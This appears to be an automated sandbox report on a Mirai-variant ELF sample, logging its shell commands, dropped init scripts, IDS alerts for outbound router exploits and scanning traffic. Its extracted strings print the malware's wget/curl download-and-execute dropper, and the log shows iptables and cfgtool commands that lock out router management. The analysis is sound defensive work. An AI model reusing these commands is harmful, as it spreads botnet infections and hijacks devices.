Source: /tmp/na.elf (PID: 5627)	Shell command executed: /bin/sh -c "cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL \"http://127.0.0.1\""	Jump to behavior
Source: /tmp/na.elf (PID: 5629)	Shell command executed: /bin/sh -c "cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword \"acsMozi\""	Jump to behavior
Source: /tmp/na.elf (PID: 5631)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 35000 -j DROP"	Jump to behavior
Source: /tmp/na.elf (PID: 5634)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 50023 -j DROP"	Jump to behavior
Source: /tmp/na.elf (PID: 5640)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 50023 -j DROP"	Jump to behavior
Source: /tmp/na.elf (PID: 5646)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 35000 -j DROP"	Jump to behavior
Source: /tmp/na.elf (PID: 5652)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 7547 -j DROP"	Jump to behavior
Source: /tmp/na.elf (PID: 5655)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 7547 -j DROP"	Jump to behavior
Source: /tmp/na.elf (PID: 5658)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --dport 35000 -j DROP"	Jump to behavior
Source: /tmp/na.elf (PID: 5661)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --dport 50023 -j DROP"	Jump to behavior
Source: /tmp/na.elf (PID: 5664)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 50023 -j DROP"	Jump to behavior
Source: /tmp/na.elf (PID: 5667)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 35000 -j DROP"	Jump to behavior
Source: /tmp/na.elf (PID: 5674)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --dport 7547 -j DROP"	Jump to behavior
Source: /tmp/na.elf (PID: 5680)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 7547 -j DROP"	Jump to behavior
Source: /tmp/na.elf (PID: 5695)	Shell command executed: /bin/sh -c "iptables -I INPUT -p udp --destination-port 8083 -j ACCEPT"	Jump to behavior
Source: /tmp/na.elf (PID: 5699)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p udp --source-port 8083 -j ACCEPT"	Jump to behavior
Source: /tmp/na.elf (PID: 5705)	Shell command executed: /bin/sh -c "iptables -I PREROUTING -t nat -p udp --destination-port 8083 -j ACCEPT"	Jump to behavior
Source: /tmp/na.elf (PID: 5711)	Shell command executed: /bin/sh -c "iptables -I POSTROUTING -t nat -p udp --source-port 8083 -j ACCEPT"	Jump to behavior
Source: /tmp/na.elf (PID: 5717)	Shell command executed: /bin/sh -c "iptables -I INPUT -p udp --dport 8083 -j ACCEPT"	Jump to behavior
Source: /tmp/na.elf (PID: 5723)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p udp --sport 8083 -j ACCEPT"	Jump to behavior
Source: /tmp/na.elf (PID: 5726)	Shell command executed: /bin/sh -c "iptables -I PREROUTING -t nat -p udp --dport 8083 -j ACCEPT"	Jump to behavior
Source: /tmp/na.elf (PID: 5733)	Shell command executed: /bin/sh -c "iptables -I POSTROUTING -t nat -p udp --sport 8083 -j ACCEPT"	Jump to behavior

Source: /bin/sh (PID: 5545)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 56901 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5557)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 56901 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5563)	Iptables executable: /usr/sbin/iptables -> iptables -I PREROUTING -t nat -p tcp --destination-port 56901 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5569)	Iptables executable: /usr/sbin/iptables -> iptables -I POSTROUTING -t nat -p tcp --source-port 56901 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5572)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 56901 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5575)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 56901 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5581)	Iptables executable: /usr/sbin/iptables -> iptables -I PREROUTING -t nat -p tcp --dport 56901 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5587)	Iptables executable: /usr/sbin/iptables -> iptables -I POSTROUTING -t nat -p tcp --sport 56901 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5612)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 58000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5615)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 58000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5620)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 58000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5626)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 58000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5633)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 35000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5639)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 50023 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5645)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 50023 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5651)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 35000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5654)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 7547 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5657)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 7547 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5660)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 35000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5663)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 50023 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5666)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 50023 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5671)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 35000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5679)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 7547 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5686)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 7547 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5697)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p udp --destination-port 8083 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5704)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p udp --source-port 8083 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5710)	Iptables executable: /usr/sbin/iptables -> iptables -I PREROUTING -t nat -p udp --destination-port 8083 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5716)	Iptables executable: /usr/sbin/iptables -> iptables -I POSTROUTING -t nat -p udp --source-port 8083 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5722)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p udp --dport 8083 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5725)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p udp --sport 8083 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5732)	Iptables executable: /usr/sbin/iptables -> iptables -I PREROUTING -t nat -p udp --dport 8083 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5738)	Iptables executable: /usr/sbin/iptables -> iptables -I POSTROUTING -t nat -p udp --sport 8083 -j ACCEPT	Jump to behavior

Source: /tmp/na.elf (PID: 5530)

Reads from proc file: /proc/stat

Jump to behavior

Source: /tmp/na.elf (PID: 5513)	File: /usr/networks (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	File: /etc/rcS.d/S95baby.sh (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	File: /etc/init.d/S95baby.sh (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/na.elf (PID: 5513)

File written: /usr/networks

Jump to dropped file

Source: /tmp/na.elf (PID: 5513)	Shell script file created: /etc/rcS.d/S95baby.sh			Jump to dropped file
Source: /tmp/na.elf (PID: 5513)	Shell script file created: /etc/init.d/S95baby.sh			Jump to dropped file

Source: submitted sample

Stderr: telnetd: no process foundutelnetd: no process foundscfgmgr: no process foundUnsupported ioctl: cmd=0xffffffff80045705Unsupported ioctl: cmd=0xffffffff80045705Unsupported ioctl: cmd=0xffffffff80045705/bin/sh: 1: cfgtool: not found/bin/sh: 1: cfgtool: not foundUnsupported ioctl: cmd=0xffffffff80045705Unsupported ioctl: cmd=0xffffffff80045705Unsupported ioctl: cmd=0xffffffff80045705Unsupported ioctl: cmd=0xffffffff80045705Unsupported ioctl: cmd=0xffffffff80045705Unsupported ioctl: cmd=0xffffffff80045705: exit code = 0

Source: /tmp/na.elf (PID: 5526)	Opens: /proc/net/route			Jump to behavior
Source: /tmp/na.elf (PID: 5526)	Opens: /proc/net/route			Jump to behavior

Source: na.elf	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: na.elf	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh \|\|curl -O http://%s:%d/bin.sh \|\|/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh \|\|(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
Source: na.elf	String: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: networks.14.dr	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: networks.14.dr	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh \|\|curl -O http://%s:%d/bin.sh \|\|/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh \|\|(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
Source: networks.14.dr	String: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:40130 -> 19.24.200.215:8080
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33570 -> 180.141.12.163:7574
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34652 -> 19.67.110.15:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44828 -> 147.98.201.3:52869
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:53566 -> 111.127.73.18:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:55848 -> 211.118.101.207:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:55848 -> 211.118.101.207:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:36038 -> 112.58.187.94:8080
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:40126 -> 117.40.38.193:7574
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47730 -> 190.86.60.142:7574
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49772 -> 126.73.36.0:80
Source: Network traffic	Suricata IDS: 2029215 - Severity 1 - ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound : 192.168.2.15:41248 -> 89.16.251.179:8080
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:46272 -> 186.235.3.26:49152
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:57326 -> 171.151.251.202:5555
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:52740 -> 41.228.32.24:80
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:33104 -> 129.147.15.173:52869
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47932 -> 53.12.120.68:5555
Source: Network traffic	Suricata IDS: 2029215 - Severity 1 - ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound : 192.168.2.15:43644 -> 125.245.131.234:8080
Source: Network traffic	Suricata IDS: 2029215 - Severity 1 - ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound : 192.168.2.15:45858 -> 78.193.165.201:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:50002 -> 83.85.96.74:7574
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44348 -> 49.15.253.227:52869
Source: Network traffic	Suricata IDS: 2029215 - Severity 1 - ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound : 192.168.2.15:53312 -> 25.36.226.176:8080
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:51232 -> 96.79.188.123:7574
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:50244 -> 31.98.78.141:49152
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:50352 -> 77.189.124.203:8080
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:44218 -> 181.10.106.162:49152
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:32824 -> 135.182.161.239:49152
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:54204 -> 119.66.2.198:49152
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49046 -> 99.148.57.46:5555
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:57362 -> 132.133.89.27:52869
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:37050 -> 76.55.103.215:49152
Source: Network traffic	Suricata IDS: 2029215 - Severity 1 - ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound : 192.168.2.15:49510 -> 31.13.248.141:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:57782 -> 78.14.245.139:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56938 -> 188.110.156.196:8080
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:57782 -> 78.14.245.139:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:52312 -> 130.39.107.195:5555
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:46246 -> 207.177.41.1:52869
Source: Network traffic	Suricata IDS: 2029215 - Severity 1 - ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound : 192.168.2.15:39810 -> 160.248.237.241:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:48244 -> 63.182.70.51:8080
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:48690 -> 94.205.127.180:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:41364 -> 98.18.247.40:8080
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:59942 -> 168.210.89.176:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:59942 -> 168.210.89.176:80
Source: Network traffic	Suricata IDS: 2029215 - Severity 1 - ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound : 192.168.2.15:34992 -> 209.48.0.41:8080
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:59350 -> 36.69.208.13:8080
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:50072 -> 189.187.148.79:49152
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:42612 -> 77.204.17.216:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33584 -> 124.207.168.47:7574
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:52048 -> 72.88.190.12:80
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34214 -> 74.252.229.190:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:54788 -> 69.146.171.161:52869
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:40486 -> 98.76.51.224:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:41954 -> 190.141.217.58:5555
Source: Network traffic	Suricata IDS: 2029215 - Severity 1 - ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound : 192.168.2.15:34350 -> 94.235.153.120:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:48932 -> 140.228.243.220:49152
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52584 -> 12.214.66.228:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:53490 -> 112.226.120.205:52869
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:39026 -> 202.4.21.21:8080
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:39494 -> 142.40.56.36:49152
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:48442 -> 116.243.199.127:49152
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:53764 -> 133.219.243.189:8080
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:44952 -> 42.243.193.152:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:55202 -> 118.161.183.187:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:55202 -> 118.161.183.187:80
Source: Network traffic	Suricata IDS: 2029215 - Severity 1 - ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound : 192.168.2.15:52840 -> 80.27.246.10:80
Source: Network traffic	Suricata IDS: 2029215 - Severity 1 - ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound : 192.168.2.15:43970 -> 28.2.61.185:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:35344 -> 149.211.96.52:7574
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:50344 -> 52.230.97.44:52869
Source: Network traffic	Suricata IDS: 2029215 - Severity 1 - ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound : 192.168.2.15:51678 -> 128.11.89.74:8080
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:42870 -> 176.188.142.84:49152
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56636 -> 2.241.18.17:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:55418 -> 8.182.44.97:49152
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:56636 -> 2.241.18.17:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:54082 -> 66.48.193.102:49152
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:55586 -> 142.146.216.107:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:55586 -> 142.146.216.107:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47212 -> 36.150.33.107:80
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:36954 -> 16.64.53.202:52869
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:39326 -> 92.13.184.220:5555
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:43680 -> 63.95.4.118:5555
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34058 -> 99.75.52.220:52869
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:36872 -> 167.129.104.237:8080
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47764 -> 70.200.10.129:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:35258 -> 17.146.97.70:49152
Source: Network traffic	Suricata IDS: 2029215 - Severity 1 - ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound : 192.168.2.15:51326 -> 58.78.32.1:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56866 -> 215.198.6.166:7574
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47670 -> 105.56.160.20:7574
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:58630 -> 25.123.21.241:49152
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:45376 -> 137.77.251.244:52869
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:42366 -> 28.212.14.93:5555

Source: global traffic	TCP traffic: 201.72.112.89 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 173.224.103.93 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 105.39.20.122 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 118.157.41.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 115.130.31.163 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 78.20.209.178 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 222.12.24.176 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 151.236.243.102 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 148.211.96.75 ports 1,2,4,5,9,49152
